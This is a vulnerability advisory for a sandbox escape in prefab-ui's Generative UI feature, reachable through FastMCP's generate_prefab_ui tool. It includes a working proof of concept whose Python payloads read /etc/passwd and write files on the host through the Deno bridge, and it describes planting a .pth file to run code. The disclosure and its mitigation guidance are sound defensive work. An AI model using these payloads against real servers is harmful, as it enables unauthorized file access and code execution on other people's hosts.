# Prefab UI is vulnerable to Remote Code Execution via a Pyodide js Bridge to Deno

> Source: <https://research.jfrog.com/vulnerabilities/prefab-ui-is-vulnerable-to-remote-code-execution-via-a-pyodide-js-bridge-to-deno-cve-2026-120338-jfsa-2026-001699278/>
> Published: 2026-11-01 00:00:00+00:00

## [Summary](#summary)

Prefab UI is vulnerable to Remote Code Execution via a Pyodide js Bridge to Deno

## [Component](#component)

prefab-ui (github.com/PrefectHQ/prefab)

## [Affected versions](#affected-versions)

= 0.14.0, < 0.21.0

## [Description](#description)

Prefab UI's Generative UI sandbox runs caller-supplied Python inside Pyodide, which is Python compiled to WebAssembly, in a Deno subprocess. The feature is documented as isolation for untrusted code, including UI written by a model. `PyodideSandbox._start` in `src/prefab_ui/sandbox/_pyodide.py` starts that process with unrestricted `--allow-read`, `--allow-write`, and `--allow-net`. The runner in `src/prefab_ui/sandbox/runner.js` leaves the Deno API on the JavaScript global object. Pyodide's `js` module proxies that global, so the Python can call `Deno.readTextFileSync` and `Deno.writeTextFileSync` on the host. The runner comment and the public docs describe this process as read-only.

The usual remote path is FastMCP's `GenerativeUI` provider. It registers the MCP tool `generate_prefab_ui` and forwards the tool's `code` argument into this sandbox. There is no extra check on that tool. On a FastMCP server with no authentication configured, any client who can reach the server can call it. With authentication, any client allowed to call tools can. The 10.0 score is the unauthenticated case. The same bug with an authenticated tool caller scores 9.9 (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`). Generative UI is opt-in, and the host must have Deno installed. Servers that never execute untrusted code in this sandbox are not exposed.

A caller who can submit the code can read and write files as the server OS user. On prefab-ui 0.20.2 the same write was used to plant a `.pth` file in the server virtualenv's `site-packages`, and the next Python process that used that environment ran the planted import. The sandbox shipped in 0.14.0 with those Deno permissions, and they were still present in 0.20.2. prefab-ui 0.21.0 revokes read, write, and network permission after startup, before it accepts code.

## [PoC](#poc)

**Step 1 - Install the vulnerable release**

Deno must be on `PATH`. The sandbox does not start without it.

```
pip install 'prefab-ui==0.20.2' 'fastmcp[apps]'
```

**Step 2 - Start a FastMCP server with Generative UI and no authentication**

``` python
from fastmcp import FastMCP
from fastmcp.apps.generative import GenerativeUI

mcp = FastMCP("poc")
mcp.add_provider(GenerativeUI())
mcp.run(transport="http", host="127.0.0.1", port=8127)
```

**Step 3 - Call generate_prefab_ui**

The read returns the host file inside the rendered text. The write creates `/tmp/prefab-ui-sandbox-proof.txt`.

``` python
import asyncio
from fastmcp import Client

READ = """
import js
from prefab_ui.components import Text
secret = js.Deno.readTextFileSync("/etc/passwd")
leak = Text("EXFIL_BEGIN" + secret + "EXFIL_END")
"""

WRITE = """
import js
from prefab_ui.components import Text
js.Deno.writeTextFileSync("/tmp/prefab-ui-sandbox-proof.txt", "owned\\n")
done = Text("write-ok")
"""

async def main():
    async with Client("http://127.0.0.1:8127/mcp/") as client:
        print(await client.call_tool("generate_prefab_ui", {"code": READ}))
        await client.call_tool("generate_prefab_ui", {"code": WRITE})

asyncio.run(main())
```

**Step 4 - Confirm the host file**

```
cat /tmp/prefab-ui-sandbox-proof.txt
```

Expected output on prefab-ui 0.20.2. The tool result contains the host passwd file between the markers, and the new file is on the host:

```
EXFIL_BEGIN
# User Database
...
root:*:0:0:System Administrator:...
EXFIL_END

owned
```

On prefab-ui 0.21.0 or later, the same read and write fail with a Deno permission error and do not return or create the host file.

## [Vulnerability Mitigations](#vulnerability-mitigations)

Upgrade prefab-ui to 0.21.0 or later. After the runtime and Prefab sources load, the runner revokes Deno filesystem read, filesystem write, and network permission before it accepts generated code. The process is started with `--no-prompt`, so a later permission request cannot grant them again, and bootstrap network access is limited to `cdn.jsdelivr.net:443`. FastMCP servers that register `GenerativeUI` pick up the fix by running that prefab-ui release.

The change is [https://github.com/PrefectHQ/prefab/pull/538](https://github.com/PrefectHQ/prefab/pull/538), commit 030f074f85e0b1be0dd44b0283185aecb26337a2, released on 2026-10-26 as v0.21.0.

Until the upgrade, do not register `GenerativeUI` on a server that untrusted clients can reach.
